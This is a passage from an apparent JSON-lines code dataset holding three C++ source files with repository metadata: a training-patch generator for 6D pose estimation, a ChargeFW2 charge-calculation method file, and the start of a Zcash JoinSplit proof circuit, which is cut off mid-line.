annot.roll >> annot.obj_x >> annot.obj_y >> annot.obj_z)\n                    << \"Couldn't read annotation. Maybe not enough entries?\";\n\n            CHECK_EQ(key, annot.annot_key) << \"annotation and database key mismatch\";\n\n            annot_vec.push_back(annot);\n\n            //normalize & copy patch to Net\n            //std::vector<float> float_data((unsigned char*)&datum.data()[0], (unsigned char*)&datum.data()[0] + datum.data().size());\n            int start = float_data.size();\n            float_data.insert(float_data.end(), (unsigned char*)&datum.data()[0], (unsigned char*)&datum.data()[0] + datum.data().size());\n            //apply same scale to the input as in training\n            for(int i=start; i<float_data.size(); ++i)\n                float_data[i] /= 255.0f;\n\n            if(feature_vector_length == 0)\n                feature_vector_length = datum.data().size();\n\n            if(mdb_cursor_get(mdb_cursor, &mdb_key, &mdb_value, MDB_NEXT) != MDB_SUCCESS){\n                data_end = true;\n                break;\n            }\n\n        }\n\n        if(data_end)\n            break;\n\n        for(int b=0; b<batch_size_; ++b){\n\n            //write vector length only once\n            if(!output_vector_length_written){\n                int output_vector_length = feature_vector_length;\n                fout.write((char*)&output_vector_length, sizeof(int));\n                output_vector_length_written = true;\n            }\n\n            //write annotation & feature vector\n            std::vector<std::string> object_id_str;\n            boost::split(object_id_str, annot_vec[b].annot_key, boost::is_any_of(\"_\"));\n            int obj_id = boost::lexical_cast<int>(object_id_str[0].c_str(), object_id_str[0].size());\n\n            fout.write((char*)&obj_id,  sizeof(int));\n            fout.write((char*)&annot_vec[b].yaw,     sizeof(float));\n            fout.write((char*)&annot_vec[b].pitch,   sizeof(float));\n            fout.write((char*)&annot_vec[b].roll,    sizeof(float));\n            fout.write((char*)&annot_vec[b].obj_x,   sizeof(float));\n            fout.write((char*)&annot_vec[b].obj_y,   sizeof(float));\n            fout.write((char*)&annot_vec[b].obj_z,   sizeof(float));\n\n            fout.write((char*)&float_data[b*feature_vector_length], feature_vector_length * sizeof(float));\n\n        }\n\n        num_patches += batch_size_;\n        std::cout << \"Training samples written: \" << num_patches << \"\\r\";\n\n\n    }\n    std::cout << std::endl << \"Finished!\" << std::endl;\n\n    //close lmdb database\n    mdb_cursor_close(mdb_cursor);\n    mdb_close(mdb_env, mdb_dbi);\n    mdb_txn_abort(mdb_txn);\n    mdb_env_close(mdb_env);\n\n    //close files\n    fannot.close();\n    fout.close();\n\n}\n\nvoid train_patch_generator::generate_train_patches_kmeans_centers(){\n\n    //create lmdb database\n    MDB_env* mdb_env;\n    MDB_dbi mdb_dbi;\n    MDB_txn* mdb_txn;\n    MDB_cursor* mdb_cursor;\n    MDB_val mdb_key, mdb_value;\n    CHECK_GT(input_lmdb_.size(), 0) << \"No lmdb input specified.\";\n    CHECK_EQ(mdb_env_create(&mdb_env), MDB_SUCCESS) << \"mdb_env_create failed\";\n    CHECK_EQ(mdb_env_set_mapsize(mdb_env, 1099511627776), MDB_SUCCESS);  // 1TB\n    CHECK_EQ(mdb_env_open(mdb_env,\n             input_lmdb_.c_str(),\n             MDB_RDONLY|MDB_NOTLS, 0664), MDB_SUCCESS) << \"mdb_env_open failed\";\n    CHECK_EQ(mdb_txn_begin(mdb_env, NULL, MDB_RDONLY, &mdb_txn), MDB_SUCCESS)\n        << \"mdb_txn_begin failed\";\n    CHECK_EQ(mdb_open(mdb_txn, NULL, 0, &mdb_dbi), MDB_SUCCESS)\n        << \"mdb_open failed\";\n    CHECK_EQ(mdb_cursor_open(mdb_txn, mdb_dbi, &mdb_cursor), MDB_SUCCESS)\n        << \"mdb_cursor_open failed\";\n    CHECK_EQ(mdb_cursor_get(mdb_cursor, &mdb_key, &mdb_value, MDB_FIRST),\n        MDB_SUCCESS) << \"mdb_cursor_get failed\";\n\n    //annotation file\n    std::ifstream fannot((input_lmdb_ + \"/patch_annotation_lmdb.txt\").c_str());\n    CHECK(fannot) << \"Cannot open annotation file: \" << input_lmdb_ + \"/patch_annotation_lmdb.txt\";\n\n    CHECK(output_file_.size() > 0) << \"No output file specified\";\n\n\n    //Get number of classes\n    int num_classes;\n    fannot >> num_classes;    \n\n\n    int num_patches = 0;\n\n    int feature_vector_length = 0;\n\n    std::vector<float> float_data;\n    std::vector<Annotation> annot_vec;\n\n    while(true){\n\n        bool data_end = false;\n\n        //get patch from lmdb\n        caffe::Datum datum;\n        datum.ParseFromArray(mdb_value.mv_data, mdb_value.mv_size);\n        std::string key((char*)mdb_key.mv_data);\n        key.resize(13); //format: xxxx_yyyyyyyy -> x: obj number, y: patch number\n\n        //get annotation\n        Annotation annot;\n        CHECK(fannot >> annot.annot_key >> annot.yaw >> annot.pitch >> annot.roll >> annot.obj_x >> annot.obj_y >> annot.obj_z)\n                << \"Couldn't read annotation. Maybe not enough entries?\";\n\n        CHECK_EQ(key, annot.annot_key) << \"annotation and database key mismatch\";\n\n        annot_vec.push_back(annot);\n\n        //normalize & copy patch to Net\n        //std::vector<float> float_data((unsigned char*)&datum.data()[0], (unsigned char*)&datum.data()[0] + datum.data().size());\n        int start = float_data.size();\n        float_data.insert(float_data.end(), (unsigned char*)&datum.data()[0], (unsigned char*)&datum.data()[0] + datum.data().size());\n        //apply same scale to the input as in training\n        for(int i=start; i<float_data.size(); ++i)\n            float_data[i] /= 255.0f;\n\n        if(feature_vector_length == 0)\n            feature_vector_length = datum.data().size();\n\n        if(mdb_cursor_get(mdb_cursor, &mdb_key, &mdb_value, MDB_NEXT) != MDB_SUCCESS){\n            data_end = true;\n            break;\n        }\n\n\n        if(data_end)\n            break;\n\n    }\n\n    int nvectors = float_data.size() / feature_vector_length;\n    cv::Mat data(nvectors, feature_vector_length, CV_32FC1);\n    std::cout << \"nvectors: \" << nvectors << std::endl;\n\n    //nvectors = 800;\n    int nfeatures = 400;\n\n    for(int row = 0; row < nvectors; ++row)\n        for(int col = 0; col < feature_vector_length; ++col)\n            data.at<float>(row, col) = float_data[row*feature_vector_length + col];\n\n    cv::Mat bestLabels;\n    cv::TermCriteria criteria(cv::TermCriteria::COUNT, 100, 0.001);\n    cv::Mat centers;\n    cv::kmeans(data, nfeatures, bestLabels, criteria, 1, cv::KMEANS_PP_CENTERS, centers);\n\n    cv::FileStorage fout_centers(output_file_ + \".centers.xml\", cv::FileStorage::WRITE);\n    fout_centers << \"centers\" << centers;\n    fout_centers.release();\n\n\n\n\n    std::cout << std::endl << \"Finished!\" << std::endl;\n\n    //close lmdb database\n    mdb_cursor_close(mdb_cursor);\n    mdb_close(mdb_env, mdb_dbi);\n    mdb_txn_abort(mdb_txn);\n    mdb_env_close(mdb_env);\n\n    //close files\n    fannot.close();    \n\n}\n\n\nvoid train_patch_generator::generate_train_patches_kmeans_vectors(){\n\n    //create lmdb database\n    MDB_env* mdb_env;\n    MDB_dbi mdb_dbi;\n    MDB_txn* mdb_txn;\n    MDB_cursor* mdb_cursor;\n    MDB_val mdb_key, mdb_value;\n    CHECK_GT(input_lmdb_.size(), 0) << \"No lmdb input specified.\";\n    CHECK_EQ(mdb_env_create(&mdb_env), MDB_SUCCESS) << \"mdb_env_create failed\";\n    CHECK_EQ(mdb_env_set_mapsize(mdb_env, 1099511627776), MDB_SUCCESS);  // 1TB\n    CHECK_EQ(mdb_env_open(mdb_env,\n             input_lmdb_.c_str(),\n             MDB_RDONLY|MDB_NOTLS, 0664), MDB_SUCCESS) << \"mdb_env_open failed\";\n    CHECK_EQ(mdb_txn_begin(mdb_env, NULL, MDB_RDONLY, &mdb_txn), MDB_SUCCESS)\n        << \"mdb_txn_begin failed\";\n    CHECK_EQ(mdb_open(mdb_txn, NULL, 0, &mdb_dbi), MDB_SUCCESS)\n        << \"mdb_open failed\";\n    CHECK_EQ(mdb_cursor_open(mdb_txn, mdb_dbi, &mdb_cursor), MDB_SUCCESS)\n        << \"mdb_cursor_open failed\";\n    CHECK_EQ(mdb_cursor_get(mdb_cursor, &mdb_key, &mdb_value, MDB_FIRST),\n        MDB_SUCCESS) << \"mdb_cursor_get failed\";\n\n    //annotation file\n    std::ifstream fannot((input_lmdb_ + \"/patch_annotation_lmdb.txt\").c_str());\n    CHECK(fannot) << \"Cannot open annotation file: \" << input_lmdb_ + \"/patch_annotation_lmdb.txt\";\n\n    CHECK(output_file_.size() > 0) << \"No output file specified\";\n\n    //output file\n    std::ofstream fout(output_file_.c_str(), std::ios::out | std::ios::binary);\n    CHECK(fout) << \"Could not open output file \" << output_file_ << \" for writing.\";\n\n    //Get number of classes\n    int num_classes;\n    fannot >> num_classes;\n    //write number of classes\n    fout.write((char*)&num_classes, sizeof(int));\n\n\n    int num_patches = 0;\n\n    int feature_vector_length = 0;\n\n    std::vector<float> float_data;\n    std::vector<Annotation> annot_vec;\n\n    while(true){\n\n        bool data_end = false;\n\n        //get patch from lmdb\n        caffe::Datum datum;\n        datum.ParseFromArray(mdb_value.mv_data, mdb_value.mv_size);\n        std::string key((char*)mdb_key.mv_data);\n        key.resize(13); //format: xxxx_yyyyyyyy -> x: obj number, y: patch number\n\n        //get annotation\n        Annotation annot;\n        CHECK(fannot >> annot.annot_key >> annot.yaw >> annot.pitch >> annot.roll >> annot.obj_x >> annot.obj_y >> annot.obj_z)\n                << \"Couldn't read annotation. Maybe not enough entries?\";\n\n        CHECK_EQ(key, annot.annot_key) << \"annotation and database key mismatch\";\n\n        annot_vec.push_back(annot);\n\n        //normalize & copy patch to Net\n        //std::vector<float> float_data((unsigned char*)&datum.data()[0], (unsigned char*)&datum.data()[0] + datum.data().size());\n        int start = float_data.size();\n        float_data.insert(float_data.end(), (unsigned char*)&datum.data()[0], (unsigned char*)&datum.data()[0] + datum.data().size());\n        //apply same scale to the input as in training\n        for(int i=start; i<float_data.size(); ++i)\n            float_data[i] /= 255.0f;\n\n        if(feature_vector_length == 0)\n            feature_vector_length = datum.data().size();\n\n        if(mdb_cursor_get(mdb_cursor, &mdb_key, &mdb_value, MDB_NEXT) != MDB_SUCCESS){\n            data_end = true;\n            break;\n        }\n\n\n        if(data_end)\n            break;\n\n    }\n\n    int nvectors = float_data.size() / feature_vector_length;\n    cv::Mat data(nvectors, feature_vector_length, CV_32FC1);\n    std::cout << \"nvectors: \" << nvectors << std::endl;\n\n    //nvectors = 800;\n    int nfeatures = 400;\n\n    for(int row = 0; row < nvectors; ++row)\n        for(int col = 0; col < feature_vector_length; ++col)\n            data.at<float>(row, col) = float_data[row*feature_vector_length + col];\n\n\n    cv::Mat centers;\n    cv::FileStorage fout_centers(output_file_ + \".centers.xml\", cv::FileStorage::READ);\n    fout_centers[\"centers\"] >> centers;\n    fout_centers.release();\n\n\n    fout.write((char*)&nfeatures, sizeof(int));\n\n    for(int b=0; b<nvectors; ++b){\n        //write annotation & feature vector\n        std::vector<std::string> object_id_str;\n        boost::split(object_id_str, annot_vec[b].annot_key, boost::is_any_of(\"_\"));\n        int obj_id = boost::lexical_cast<int>(object_id_str[0].c_str(), object_id_str[0].size());\n\n        fout.write((char*)&obj_id,  sizeof(int));\n        fout.write((char*)&annot_vec[b].yaw,     sizeof(float));\n        fout.write((char*)&annot_vec[b].pitch,   sizeof(float));\n        fout.write((char*)&annot_vec[b].roll,    sizeof(float));\n        fout.write((char*)&annot_vec[b].obj_x,   sizeof(float));\n        fout.write((char*)&annot_vec[b].obj_y,   sizeof(float));\n        fout.write((char*)&annot_vec[b].obj_z,   sizeof(float));\n\n        std::vector<float> z(nfeatures);\n        float meanz = 0;\n        for(int k=0; k<nfeatures; ++k){\n            z[k] = 0;\n            for(int i=0; i<feature_vector_length; ++i)\n                z[k] += pow(data.at<float>(b, i) - centers.at<float>(k, i), 2);\n            z[k] = sqrt(z[k]);\n            meanz += z[k] / nfeatures;\n        }\n\n        std::vector<float> fvec(nfeatures, 0);\n        for(int k=0; k<nfeatures; ++k)\n            fvec[k] = std::max((float)0, float(meanz - z[k]));\n\n\n        fout.write((char*)&(fvec[0]), nfeatures * sizeof(float));\n\n        num_patches++;\n        std::cout << \"Training samples written: \" << num_patches << \"\\r\";\n    }\n\n\n    std::cout << std::endl << \"Finished!\" << std::endl;\n\n    //close lmdb database\n    mdb_cursor_close(mdb_cursor);\n    mdb_close(mdb_env, mdb_dbi);\n    mdb_txn_abort(mdb_txn);\n    mdb_env_close(mdb_env);\n\n    //close files\n    fannot.close();\n    fout.close();\n\n}\n", "meta": {"hexsha": "7df907570dd5ee22c21733df7794b1990f65c3e1", "size": 22265, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "PatchGen/src/train_patch_generator.cpp", "max_stars_repo_name": "alanpapalia/6d_pose_estimation", "max_stars_repo_head_hexsha": "440c9530a4c134323837302cf0c5645ae3ceedb6", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 46.0, "max_stars_repo_stars_event_min_datetime": "2017-05-30T10:23:25.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-28T06:50:36.000Z", "max_issues_repo_path": "PatchGen/src/train_patch_generator.cpp", "max_issues_repo_name": "shengwenbo125/object_detector_6d", "max_issues_repo_head_hexsha": "939a37db28eef9c00ba42ba50bf210321a99d708", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 2.0, "max_issues_repo_issues_event_min_datetime": "2017-03-03T07:35:14.000Z", "max_issues_repo_issues_event_max_datetime": "2018-03-05T12:14:29.000Z", "max_forks_repo_path": "PatchGen/src/train_patch_generator.cpp", "max_forks_repo_name": "shengwenbo125/object_detector_6d", "max_forks_repo_head_hexsha": "939a37db28eef9c00ba42ba50bf210321a99d708", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 25.0, "max_forks_repo_forks_event_min_datetime": "2017-03-31T23:57:41.000Z", "max_forks_repo_forks_event_max_datetime": "2020-08-03T20:30:55.000Z", "avg_line_length": 36.8016528926, "max_line_length": 138, "alphanum_fraction": 0.6132494947, "num_tokens": 5671, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.27202453929068215, "lm_q1q2_score": 0.138137288426893}}
{"text": "//\n// Created by krab1k on 6.11.18.\n//\n\n#include <vector>\n#include <map>\n#include <set>\n#include <dlfcn.h>\n#include <fmt/format.h>\n#include <fmt/ranges.h>\n#include <Eigen/Dense>\n#include <omp.h>\n\n#include \"chargefw2.h\"\n#include \"method.h\"\n#include \"parameters.h\"\n#include \"utility/strings.h\"\n\n\nstd::vector<RequiredFeatures> Method::get_requirements() const {\n    return {};\n}\n\n\nvoid Method::set_parameters(Parameters *parameters) {\n    if (common_parameters_.size() + atom_parameters_.size() + bond_parameters_.size() == 0 and parameters == nullptr) {\n        return;\n    }\n    if (parameters->common() != nullptr and parameters->common()->names() != common_parameters_) {\n        fmt::print(stderr, \"Parameters don't match\\n\");\n        fmt::print(stderr, \"Expected: {}\\n\", common_parameters_);\n        fmt::print(stderr, \"Got: {}\\n\", parameters->common()->names());\n        throw std::runtime_error(\"Invalid common parameters provided\");\n    }\n\n    if (parameters->atom() != nullptr and parameters->atom()->names() != atom_parameters_) {\n        fmt::print(stderr, \"Parameters don't match\\n\");\n        fmt::print(stderr, \"Expected: {}\\n\", atom_parameters_);\n        fmt::print(stderr, \"Got: {}\\n\", parameters->atom()->names());\n        throw std::runtime_error(\"Invalid atom parameters provided\");\n    }\n\n    if (parameters->bond() != nullptr and parameters->bond()->names() != bond_parameters_) {\n        fmt::print(stderr, \"Parameters don't match\\n\");\n        fmt::print(stderr, \"Expected: {}\\n\", bond_parameters_);\n        fmt::print(stderr, \"Got: {}\\n\", parameters->bond()->names());\n        throw std::runtime_error(\"Invalid bond parameters provided\");\n    }\n    parameters_ = parameters;\n}\n\n\ntemplate<>\nstd::string Method::get_option_value<std::string>(const std::string &name) const {\n    return option_values_.at(name);\n}\n\n\nbool Method::is_suitable_for_molecule(const Molecule &) const {\n    return true;\n}\n\n\nstd::string Method::internal_name() const {\n    auto name = to_lowercase(name_);\n    name.erase(std::remove_if(name.begin(), name.end(), [](char c) { return !std::isalnum(c); }), name.end());\n    return name;\n}\n\n\ntemplate<>\ndouble Method::get_option_value<double>(const std::string &name) const {\n    return std::stod(option_values_.at(name));\n}\n\n\ntemplate<>\nint Method::get_option_value<int>(const std::string &name) const {\n    return std::stoi(option_values_.at(name));\n}\n\nbool EEMethod::is_suitable_for_large_molecule() const {\n    return true;\n}\n\n\nEigen::VectorXd EEMethod::solve_EE(const Molecule &molecule,\n        const std::function<Eigen::VectorXd(const std::vector<const Atom *> &, double)> &EE_function) const {\n\n    auto method = get_option_value<std::string>(\"type\");\n    auto radius = get_option_value<double>(\"radius\");\n\n    if (method != \"cover\" and molecule.atoms().size() > 80000) {\n        fmt::print(\"Switching to cover as the molecule is too big\\n\");\n        fmt::print(\"Using radius {}\\n\", radius);\n        method = \"cover\";\n    } else if (method == \"full\" and molecule.atoms().size() > 20000) {\n        fmt::print(\"Switching to cutoff as the molecule is too big\\n\");\n        fmt::print(\"Using radius {}\\n\", radius);\n        method = \"cutoff\";\n    }\n\n    if (method == \"full\") {\n        Eigen::setNbThreads(0);\n        std::vector<const Atom *> fragment_atoms;\n        for (const auto &atom: molecule.atoms()) {\n            fragment_atoms.push_back(&atom);\n        }\n\n        return EE_function(fragment_atoms, molecule.total_charge());\n\n    } else if (method == \"cutoff\") {\n        const size_t n = molecule.atoms().size();\n        Eigen::VectorXd results = Eigen::VectorXd::Zero(n);\n        Eigen::setNbThreads(1);\n\n#pragma omp parallel for default(none) shared(results, radius, molecule, EE_function) firstprivate(n)\n        for (size_t i = 0; i < n; i++) {\n            auto fragment_atoms = molecule.get_close_atoms(molecule.atoms()[i], radius);\n            Eigen::VectorXd res = EE_function(fragment_atoms,\n                                    static_cast<double>(molecule.total_charge()) * fragment_atoms.size() /\n                                    molecule.atoms().size());\n            results(i) = res(0);\n        }\n\n        double correction = molecule.total_charge() - results.sum();\n        correction /= molecule.atoms().size();\n\n        results.array() += correction;\n        return results;\n\n    } else /* method == \"cover\" */ {\n        Eigen::setNbThreads(1);\n\n        const size_t n = molecule.atoms().size();\n\n        /* 1st step - identify pivots */\n        std::map<size_t, std::set<size_t>> neighbors;\n        for (const auto &bond: molecule.bonds()) {\n            neighbors[bond.first().index()].insert(bond.second().index());\n            neighbors[bond.second().index()].insert(bond.first().index());\n        }\n\n        std::set<size_t> all;\n        for (size_t i = 0; i < n; i++) {\n            all.insert(i);\n        }\n\n        std::map<size_t, std::set<size_t>> bonding_sizes;\n        for (const auto &[key, val]: neighbors) {\n            bonding_sizes[val.size()].insert(key);\n        }\n\n        std::set<const Atom *> pivots;\n        for (auto it = bonding_sizes.rbegin(); it != bonding_sizes.rend(); it++) {\n            for (const auto &idx: it->second) {\n                if (all.find(idx) != all.end()) {\n                    pivots.insert(&molecule.atoms()[idx]);\n                    for (const auto &neighbor: neighbors[idx]) {\n                        all.erase(neighbor);\n                    }\n                }\n            }\n        }\n\n        /* 2nd step - solve EEM for fragments, sum up charges */\n        Eigen::VectorXd results = Eigen::VectorXd::Zero(n);\n        std::vector<int> charges_count(n, 0);\n\n        std::vector<const Atom *> pivots_vector(pivots.begin(), pivots.end());\n\n#pragma omp parallel for default(none) shared(radius, pivots_vector, neighbors, molecule, charges_count, results, EE_function) firstprivate(n)\n        for (size_t i = 0; i < pivots_vector.size(); i++) {\n            auto &atom = pivots_vector[i];\n            auto fragment_atoms = molecule.get_close_atoms(*atom, radius);\n            Eigen::VectorXd res = EE_function(fragment_atoms,\n                                    static_cast<double>(molecule.total_charge()) * fragment_atoms.size() / n);\n\n            std::set<size_t> close_atoms = {atom->index()};\n            for (const auto &j: neighbors[atom->index()]) {\n                close_atoms.insert(j);\n                for (const auto &k: neighbors[j]) {\n                    close_atoms.insert(k);\n                }\n            }\n\n            for (const auto &j: close_atoms) {\n#pragma omp atomic\n                charges_count[j]++;\n            }\n\n            for (size_t j = 0; j < fragment_atoms.size(); j++) {\n                if (close_atoms.find(fragment_atoms[j]->index()) != close_atoms.end()) {\n#pragma omp atomic\n                    results(fragment_atoms[j]->index()) += res(j);\n                }\n            }\n        }\n\n        for (long i = 0; i < results.size(); i++) {\n            results(i) /= charges_count[i];\n        }\n\n        /* 3rd step - correct charges */\n        auto correction = (molecule.total_charge() - results.sum()) / n;\n        results.array() += correction;\n        return results;\n    }\n}\n\n\nMethod* load_method(const std::string &method_name) {\n\n    std::string file;\n    if (ends_with(method_name, \".so\")) {\n        file = method_name;\n    } else {\n        file = (std::string(INSTALL_DIR) + \"/lib/lib\" + method_name + \".so\");\n    }\n\n    auto handle = dlopen(file.c_str(), RTLD_LAZY);\n\n    auto get_method_handle = (Method *(*)())(dlsym(handle, \"get_method\"));\n    if (!get_method_handle) {\n        fmt::print(stderr, \"{}\\n\", dlerror());\n        exit(EXIT_FILE_ERROR);\n    }\n\n    return (*get_method_handle)();\n}\n", "meta": {"hexsha": "8e113033be541ddb07c5d5dc31ad3f674a54efd3", "size": 7759, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/method.cpp", "max_stars_repo_name": "danny305/ChargeFW2", "max_stars_repo_head_hexsha": "c68fd06b9af244e5d8ed9172de17748e587bf46e", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 7.0, "max_stars_repo_stars_event_min_datetime": "2020-05-19T15:14:15.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-03T06:38:09.000Z", "max_issues_repo_path": "src/method.cpp", "max_issues_repo_name": "danny305/ChargeFW2", "max_issues_repo_head_hexsha": "c68fd06b9af244e5d8ed9172de17748e587bf46e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 10.0, "max_issues_repo_issues_event_min_datetime": "2021-03-04T21:38:49.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-11T07:11:19.000Z", "max_forks_repo_path": "src/method.cpp", "max_forks_repo_name": "danny305/ChargeFW2", "max_forks_repo_head_hexsha": "c68fd06b9af244e5d8ed9172de17748e587bf46e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 5.0, "max_forks_repo_forks_event_min_datetime": "2021-03-05T00:42:41.000Z", "max_forks_repo_forks_event_max_datetime": "2021-07-01T05:47:39.000Z", "avg_line_length": 33.5887445887, "max_line_length": 142, "alphanum_fraction": 0.5822915324, "num_tokens": 1794, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.519521321952093, "lm_q2_score": 0.26588048473393133, "lm_q1q2_score": 0.13813058091023528}}
{"text": "#include \"JoinSplit.hpp\"\n#include \"prf.h\"\n#include \"sodium.h\"\n\n#include \"arnak/util.h\"\n\n#include <memory>\n\n#include <boost/foreach.hpp>\n#include <boost/format.hpp>\n#include <boost/optional.hpp>\n#include <fstream>\n#include \"tinyformat.h\"\n#include \"sync.h\"\n#include \"amount.h\"\n\n#include \"librustzcash.h\"\n#include \"streams.h\"\n#include \"version.h\"\n\nnamespace libzcash {\n\nstatic CCriticalSection cs_ParamsIO;\n\ntemplate<size_t NumInputs, size_t NumOutputs>\nclass JoinSplitCircuit : public JoinSplit<NumInputs, NumOutputs> {\npublic:\n    JoinSplitCircuit() {}\n    ~JoinSplitCircuit() {}\n\n    SproutProof prove(\n        const std::array<JSInput, NumInputs>& inputs,\n        const std::array<JSOutput, NumOutputs>& outputs,\n        std::array<SproutNote, NumOutputs>& out_notes,\n        std::array<ZCNoteEncryption::Ciphertext, NumOutputs>& out_ciphertexts,\n        uint256& out_ephemeralKey,\n        const uint256& joinSplitPubKey,\n        uint256& out_randomSeed,\n        std::array<uint256, NumInputs>& out_macs,\n        std::array<uint256, NumInputs>& out_nullifiers,\n        std::array<uint256, NumOutputs>& out_commitments,\n        uint64_t vpub_old,\n        uint64_t vpub_new,\n        const uint256& rt,\n        bool computeProof,\n        uint256 *out_esk // Payment disclosure\n    ) {\n        if (vpub_old > MAX_MONEY) {\n            throw std::invalid_argument(\"nonsensical vpub_old value\");\n        }\n\n        if (vpub_new > MAX_MONEY) {\n            throw std::invalid_argument(\"nonsensical vpub_new value\");\n        }\n\n        uint64_t lhs_value = vpub_old;\n        uint64_t rhs_value = vpub_new;\n\n        for (size_t i = 0; i < NumInputs; i++) {\n            // Sanity checks of input\n            {\n                // If note has nonzero value\n                if (inputs[i].note.value() != 0) {\n                    // The witness root must equal the input root.\n                    if (inputs[i].witness.root() != rt) {\n                        throw std::invalid_argument(\"joinsplit not anchored to the correct root\");\n                    }\n\n                    // The tree must witness the correct element\n                    if (inputs[i].note.cm() != inputs[i].witness.element()) {\n                        throw std::invalid_argument(\"witness of wrong element for joinsplit input\");\n                    }\n                }\n\n                // Ensure we have the key to this note.\n                if (inputs[i].note.a_pk != inputs[i].key.address().a_pk) {\n                    throw std::invalid_argument(\"input note not authorized to spend with given key\");\n                }\n\n                // Balance must be sensical\n                if (inputs[i].note.value() > MAX_MONEY) {\n                    throw std::invalid_argument(\"nonsensical input note value\");\n                }\n\n                lhs_value += inputs[i].note.value();\n\n                if (lhs_value > MAX_MONEY) {\n                    throw std::invalid_argument(\"nonsensical left hand size of joinsplit balance\");\n                }\n            }\n\n            // Compute nullifier of input\n            out_nullifiers[i] = inputs[i].nullifier();\n        }\n\n        // Sample randomSeed\n        out_randomSeed = random_uint256();\n\n        // Compute h_sig\n        uint256 h_sig = this->h_sig(out_randomSeed, out_nullifiers, joinSplitPubKey);\n\n        // Sample phi\n        uint252 phi = random_uint252();\n\n        // Compute notes for outputs\n        for (size_t i = 0; i < NumOutputs; i++) {\n            // Sanity checks of output\n            {\n                if (outputs[i].value > MAX_MONEY) {\n                    throw std::invalid_argument(\"nonsensical output value\");\n                }\n\n                rhs_value += outputs[i].value;\n\n                if (rhs_value > MAX_MONEY) {\n                    throw std::invalid_argument(\"nonsensical right hand side of joinsplit balance\");\n                }\n            }\n\n            // Sample r\n            uint256 r = random_uint256();\n\n            out_notes[i] = outputs[i].note(phi, r, i, h_sig);\n        }\n\n        if (lhs_value != rhs_value) {\n            throw std::invalid_argument(\"invalid joinsplit balance\");\n        }\n\n        // Compute the output commitments\n        for (size_t i = 0; i < NumOutputs; i++) {\n            out_commitments[i] = out_notes[i].cm();\n        }\n\n        // Encrypt the ciphertexts containing the note\n        // plaintexts to the recipients of the value.\n        {\n            ZCNoteEncryption encryptor(h_sig);\n\n            for (size_t i = 0; i < NumOutputs; i++) {\n                SproutNotePlaintext pt(out_notes[i], outputs[i].memo);\n\n                out_ciphertexts[i] = pt.encrypt(encryptor, outputs[i].addr.pk_enc);\n            }\n\n            out_ephemeralKey = encryptor.get_epk();\n\n            // !!! Payment disclosure START\n            if (out_esk != nullptr) {\n                *out_esk = encryptor.get_esk();\n            }\n            // !!! Payment disclosure END\n        }\n\n        // Authenticate h_sig with each of the input\n        // spending keys, producing macs which protect\n        // against malleability.\n        for (size_t i = 0; i < NumInputs; i++) {\n            out_macs[i] = PRF_pk(inputs[i].key, i, h_sig);\n        }\n\n        if (!computeProof) {\n            return GrothProof();\n        }\n\n        GrothProof proof;\n\n        CDataStream ss1(SER_NETWORK, PROTOCOL_VERSION);\n        ss1 << inputs[0].witness.path();\n        std::vector<unsigned char> auth1(ss1.begin(), ss1.end());\n\n        CDataStream ss2(SER_NETWORK, PROTOCOL_VERSION);\n        ss2 << inputs[1].witness.path();\n        std::vector<unsigned char> auth2(ss2.begin(), ss2.end());\n\n        librustzcash_sprout_prove(\n            proof.begin(),\n\n            phi.begin(),\n            rt.begin(),\n            h_sig.begin(),\n\n            inputs[0].key.begin(),\n            inputs[0].note.value(),\n            inputs[0].note.rho.begin(),\n            inputs[0].note.r.begin(),\n            auth1.data(),\n\n            inputs[1].key.begin(),\n            inputs[1].note.value(),\n            inputs[1].note.rho.begin(),\n            inputs[1].note.r.begin(),\n            auth2.data(),\n\n            out_notes[0].a_pk.begin(),\n            out_notes[0].value(),\n            out_notes[0].r.begin(),\n\n            out_notes[1].a_pk.begin(),\n            out_notes[1].value(),\n            out_notes[1].r.begin(),\n\n            vpub_old,\n            vpub_new\n        );\n\n        return proof;\n    }\n};\n\ntemplate<size_t NumInputs, size_t NumOutputs>\nJoinSplit<NumInputs, NumOutputs>* JoinSplit<NumInputs, NumOutputs>::Prepared()\n{\n    return new JoinSplitCircuit<NumInputs, NumOutputs>();\n}\n\ntemplate<size_t NumInputs, size_t NumOutputs>\nuint256 JoinSplit<NumInputs, NumOutputs>::h_sig(\n    const uint256& randomSeed,\n    const std::array<uint256, NumInputs>& nullifiers,\n    const uint256& joinSplitPubKey\n) {\n    const unsigned char personalization[crypto_generichash_blake2b_PERSONALBYTES]\n        = {'Z','c','a','s','h','C','o','m','p','u','t','e','h','S','i','g'};\n\n    std::vector<unsigned char> block(randomSeed.begin(), randomSeed.end());\n\n    for (size_t i = 0; i < NumInputs; i++) {\n        block.insert(block.end(), nullifiers[i].begin(), nullifiers[i].end());\n    }\n\n    block.insert(block.end(), joinSplitPubKey.begin(), joinSplitPubKey.end());\n\n    uint256 output;\n\n    if (crypto_generichash_blake2b_salt_personal(output.begin(), 32,\n                                                 &block[0], block.size(),\n                                                 NULL, 0, // No key.\n                                                 NULL,    // No salt.\n                                                 personalization\n                                                ) != 0)\n    {\n        throw std::logic_error(\"hash function failure\");\n    }\n\n    return output;\n}\n\nSproutNote JSOutput::note(const uint252& phi, const uint256& r, size_t i, const uint256& h_sig) const {\n    uint256 rho = PRF_rho(phi, i, h_sig);\n\n    return SproutNote(addr.a_pk, value, rho, r);\n}\n\nJSOutput::JSOutput() : addr(uint256(), uint256()), value(0) {\n    SproutSpendingKey a_sk = SproutSpendingKey::random();\n    addr = a_sk.address();\n}\n\nJSInput::JSInput() : witness(SproutMerkleTree().witness()),\n                     key(SproutSpendingKey::random()) {\n    note = SproutNote(key.address().a_pk, 0, random_uint256(), random_uint256());\n    SproutMerkleTree dummy_tree;\n    dummy_tree.append(note.cm());\n    witness = dummy_tree.witness();\n}\n\ntemplate class 